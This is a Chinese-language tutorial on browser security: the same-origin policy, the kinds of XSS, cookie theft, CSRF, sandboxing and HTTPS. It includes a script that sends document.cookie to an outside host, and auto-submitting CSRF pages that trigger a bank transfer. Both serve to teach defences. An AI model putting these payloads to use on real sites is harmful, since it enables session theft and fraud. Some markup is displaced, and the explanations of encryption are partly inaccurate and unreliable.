浏览器安全
同源策略
同源策略(Same origin policy)是一种约定,它是浏览器最核心也最基本的安全功能,如果缺少了同源策略,则浏览器的正常功能可能都会受到影响。 可以说Web是构建在同源策略基础之上的,浏览器只是针对同源策略的一种实现。 是由Netscape提出的一个著名的安全策略。
同源的定义
如果两个URL的协议,端口(如果有指定)和域名都相同,则两个页面具有相同的源。
下表给出了相对http://store.company.com/dir/page.html同源检测的示例:
URL | 结果 | 原因 |
---|---|---|
http://store.company.com/dir2/other.html | 成功 | 只有路径不同 |
http://store.company.com/dir/inner/another.html | 成功 | 只有路径不同 |
https://store.company.com/secure.html | 失败 | 不同协议 ( https和http ) |
http://store.company.com:81/dir/etc.html | 失败 | 不同端口 ( http:// 80是默认的) |
http://news.company.com/dir/other.html | 失败 | 不同域名 ( news和store ) |
跨域访问
同源策略控制了两个源之间的交互,例如你使用
XMLHttpRequest
发起一个请求,或者使用
<img>
元素加载一张图片,则会受到同源策略的约束。这些交互通常分为三类:
- 允许跨域写入:链接、跳转和表单提交。
- 允许跨域嵌入跨域的资源内嵌是被允许的。下面是一些资源内容的例子:
- 通常不允许跨域读操作。但常可以通过内嵌资源来巧妙的进行读取访问。例如可以读取嵌入图片的高度和宽度,调用内嵌脚本的方法
以下是可以嵌入跨源资源的一些示例:
- 使用
加载Javascript。只有同源的脚本在语法错误时会显示错误信息。<script src="..."></script>
- 使用
加载CSS。跨源的CSS文件要求使用正确的Content-Type 响应头。<link rel="stylesheet" href="..." target="_blank" rel="external nofollow" >
- 使用
加载图片。<img>
- 使用
和<video>
加载媒体文件。<audio>
- 使用
、<object>
和<embed>
加载插件。<applet>
- 使用
加载字体。有些浏览器允许加载跨域的字体,有些则不允许。@font-face
- 使用
和<frame>
加载任何东西。<iframe>
跨站脚本攻击(XSS)
什么是 XSS
- Cross-Site Scripting(跨站脚本攻击)简称 XSS,是一种代码注入攻击。攻击者通过在目标网站上注入恶意脚本,使之在用户的浏览器上运行。利用这些恶意脚本,攻击者可获取用户的敏感信息如 Cookie、SessionID 等,进而危害数据安全。为了和 CSS 区分,这里把攻击的第一个字母改成了 X,于是叫做 XSS。
- XSS 的本质是:恶意代码未经过滤,与网站正常的代码混在一起;浏览器无法分辨哪些脚本是可信的,导致恶意脚本被执行
XSS 分类
存储型XSS
- 攻击者将恶意代码提交到目标网站的数据库中。
- 用户打开目标网站时,网站服务端将恶意代码从数据库取出,拼接在 HTML 中返回给浏览器。
- 用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行。
- 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。
这种攻击常见于带有用户保存数据的网站功能,如论坛发帖、商品评论、用户私信等。
反射型 XSS
- 攻击者构造出特殊的 URL,其中包含恶意代码。
- 用户打开带有恶意代码的 URL 时,网站服务端将恶意代码从 URL 中取出,拼接在 HTML 中返回给浏览器。
- 用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行。
- 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。
反射型 XSS 跟存储型 XSS 的区别是:存储型 XSS 的恶意代码存在数据库里,反射型 XSS 的恶意代码存在 URL 里。
反射型 XSS 漏洞常见于通过 URL 传递参数的功能,如网站搜索、跳转等。
DOM 型 XSS
- 攻击者构造出特殊的 URL,其中包含恶意代码。
- 用户打开带有恶意代码的 URL。
- 用户浏览器接收到响应后解析执行,前端 JavaScript 取出 URL 中的恶意代码并执行。
- 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。
DOM 型 XSS 跟前两种 XSS 的区别:DOM 型 XSS 攻击中,取出和执行恶意代码由浏览器端完成,属于前端 JavaScript 自身的安全漏洞,而其他两种 XSS 都属于服务端的安全漏洞。
案例及预防
Cookie
众所周知,Cookie常用来存储登录状态,个人信息等数据。通常情况下,Cookie是安全的,超过时限,Cookie会被系统删除,此外,Cookie是禁止跨域访问的。
不过,Cookie除了可以在服务端进行读写外,也可以在客户端进行读写操作,这就存在了被窃取的风险。
下面这段代码就可以窃取cookie
<script>
new Image().src="http://bizfe.com/log?c=" + encodeURI(document.cookie);
</script>
现在只需要利用前面提到的xss方法将这段代码植入到某个登陆用户的界面,然后就可以收集到这个用户的信息了。
HttpOnly属性
显然,Cookie是在客户端泄漏的,一般来说,只允许在服务端操作Cookie,才能保证一些必要的安全。
通过如下方式设置cookie
ctx.cookies.set('age','18', {
httpOnly: false,
});
ctx.cookies.set('name','xss', {
httpOnly: true,
});
此时在浏览器端读取cookie,发现,只能拿到“age=18”,通过debug工具检查此时站点的cookie会发现下图所示。

跨站点请求伪造(CSRF)
什么是CSRF
在用户登陆目标网站后,后端会返回用户登陆的凭证到前端(浏览器的 cookie)。攻击者诱使用户点击某个超链接,该超链接会发送恶意请求(会携带用户的 cookie),从而冒充用户完成业务请求(发帖、盗取用户资金等)。
实例一
银行网站A,它以GET请求来完成银行转账的操作,如:http://www.mybank.com/Transfe…
危险网站B,它里面有一段HTML的代码如下:
首先,你登录了银行网站A,然后访问危险网站B,噢,这时你会发现你的银行账户少了1000块。。。
实例二
为了杜绝上面的问题,银行决定改用POST请求完成转账操作。于是钓鱼网站也进行了升级:
- 第一个展示页面(test):
<!DOCTYPE HTML>
<html lang="en-US">
<head>
<title>CSRF SHOW</title>
</head>
<body>
<iframe style="display:none;" src="test2.html"></iframe>
</body>
</html>
- 第二个隐藏页面(test2):
<!DOCTYPE HTML>
<html lang="en-US">
<head>
<title>CSRF GET</title>
<body>
<form name="form1" action="http://www.mybank.com/Transfer.php" method="post">
<input type="hidden" name="money" value="1000"/>
<input type="submit" value>
</form>
<script>
document.forms.form1.submit();
</script>
</body>
</html>
此时,如果用户继续上面的操作,将会再次发现1000块钱不见了。
CSRF攻击的本质原因
CSRF攻击是源于Web的隐式身份验证机制!Web的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器,但却无法保证该请求是用户批准发送的。CSRF攻击的一般是由服务端解决。
CSRF工具的防御手段
- 尽量使用POST,限制GET
- 加验证码——强制用户必须与应用进行交互,才能完成最终请求。在通常情况下,验证码能很好遏制CSRF攻击。但是出于用户体验考虑,网站不能给所有的操作都加上验证码。因此验证码只能作为一种辅助手段,不能作为主要解决方案。
- Referer检查
- token
网站隔离
-
是 Chrome 为应对潜在的安全问题所实现的功能,以防止恶意网站获取其他网站的信息。Site Isolation
- 同源策略确实起到了一定的保护作用,但是,后来人们意识到,在同一个地址空间内,只要有运行不安全的代码,整个地址空间的安全都不能完全保证。
- chrome67以前的进程模型基本上就是为每个页面创建一个进程,但是还是存在不同的网站用同一个进程的情况,比如 iframes 和父页面。
- 不同的网站 :使用同一个协议,同一个注册域名的网址都属于同一个网站,这比同源策略里的 same origin 要宽泛一些,不同的子域名,不同的端口都算同一个网站。
沙盒:页面和系统之间的隔离墙
什么是沙盒
对于网络上的网页,浏览器认为他们是不安全的,因为网页总是存在各种可能性,也许是无意的或有意的攻击。如果有一种机制,将网页的运行限制在一个特定的环境中,也就是一个沙箱中,使它只能访问有限的功能。那么,即使网页工作的渲染引擎被攻击,它也不能够获取渲染引擎工作的主机系统中的任何权限,这一思想就是沙箱模型。
原理
“沙盒”技术与主动防御技术原理截然不同。主动防御是发现程序有可疑行为时立即拦截并终止运行。“沙盒”技术则是发现可疑行为后让程序继续运行,当发现的确是病毒时才会终止。“沙盒”技术的实践运用流程是:让疑似病毒文件的可疑行为在虚拟的“沙盒”里充分表演,“沙盒”会记下它的每一个动作;当疑似病毒充分暴露了其病毒属性后,“沙盒”就会执行“回滚”机制:将病毒的痕迹和动作抹去,恢复系统到正常状态。
实现
- 沙箱模型严重依赖操作系统提供的技术,而不同的操作系统提供的安全技术是不一样的,这就意味着不同操作系统上的实现是不一致的
- Chrome的主要进程:浏览器进程,渲染进程,插件进程、拓展进程。其中的渲染引擎由SandBox隔离,网页代码要与浏览器内核进程通信、与操作系统通信都需要通过IPC channel,在其中会进行一些安全检查。采用SandBox技术,可以让网页的渲染在一个独立的Renderer进程中进行,并且该进程是受限的
浏览器安全浏览器安全
HTTPS:让数据传输更安全
对称加密和非对称加密
-
简单说,就是发送方将经过加密的信息连同密钥一起发送给接收方,接收方需要使用密钥将信息解密。对称加密
-
指的是,双方都有自己的公钥和私钥对,将公钥发送给对方,私钥自己保管,发送方通过公钥(私钥)进行加密,接收方使用私钥(公钥)进行解密。这就是RSA的加解密原理非对称加密
HTTPS
有些人认为HTTPS就是RSA,使用RSA加解密数据,实际上这是不对的。HTTPS是使用RSA进行身份验证和交换密钥,然后再使用交换的密钥进行加解密数据。身份验证是使用RSA的非对称加密,而数据传输是双方使用相同的密钥进行的对称加密。
HTTPS主要有以下作用
- 验证服务方身份,如我访问google.com的时候连的确实就是谷歌服务器
- 防止数据被劫持,例如有些运营商会给http的页面插入广告
- 防止敏感数据被窃取篡改等
HTTPS连接建立过程
- TCP三次握手
- 客户端(浏览器)发起一个HTTPS连接建立请求,客户端先发一个Client Hello的包——包括客户端要使用的TLS版本,支持的加密套装,要访问的域名,给服务端生成的一个随机数(Nonce)等。需要提前告知服务器想要访问的域名以便服务器发送相应的域名的证书过来,因为此时还没有发生HTTP请求
- 服务端响应一个Server Hello,给客户端发送它的证书——包含待签名证书内容、证书签名算法和CA给的签名
- 双方经过密钥交换
- 使用交换的密钥加行加解密数据
HTTPS能够验证身份的原理
上面第三步服务端发送给客户端的证书会有多个,例如,我们访问MDN(https://developer.mozilla.org),服务端会返回给客户端四个证书,如图
第一个证书的公用名(common name)就是我们当前访问的域名developer.mozilla.org,如果公用名是*.mozilla.org的话那么这个证书便能给mozilla.org的所有二级子域名使用。第二个证书是第一个证书的签发机构(CA)的证书,它是Amazon,也就是说Amazon会用它的私钥给developer.mozilla.org进行签名。依此类推,第三个证书会给第二个证书签名,第四个证书会给第三个证书签名,并且我们可以看到第四个证书是一个根(Root)证书。
假如黑客通过DNS欺骗之类的方式把你访问的域名指向了他的机器,然后他再伪造一个证书。但是由于根证书都是内置于操作系统的,所以它改不了签名的公钥,并且它没有正确的私钥,只能用自己的私钥,由于公私钥不配对,很难保证加解密后的信息一致。或者直接把浏览器拿到的证书搬到他自己的服务器?这样再给浏览器发的证书便是一模一样,但是由于他不知道证书的私钥,所以无法进行后续的操作,因此这样是没有意义的。
HTTPS证书的应用
那么是谁在做HTTPS加密呢?服务端通常是Nginx、Apache这些反向代理服务器做的,而具体的业务服务器不需要处理,客户端通常是浏览器等做的加解密,Chrome是使用boringSSL这个库,fork自openssl。
我们可以通过let’s encrypt可以申请免费的TLS证书,每3个月需要手动续,证书分为3种:DV、OV、EV,DV适用于个人,OV和EV需要身份审核,EV最高端。
另外我们可以用用openssl生成一个自签名证书,执行以下命令:
openssl req -x509 -nodes -sha256 -days 365 -newkey rsa:2048 -keyout test.com.key -out test.com.crt
便会得到两个文件,test.com.crt是证书,test.com.key是证书的私钥
然后把这两个文件给nginx使用便能使用https访问,如下代码所示:
server {
listen 443;
server_name test.com;
ssl on;
ssl_certificate test.com.crt;
ssl_certificate_key test.com.key;
}
可以把这个证书添加到系统证书里面,这样浏览器等便能信任。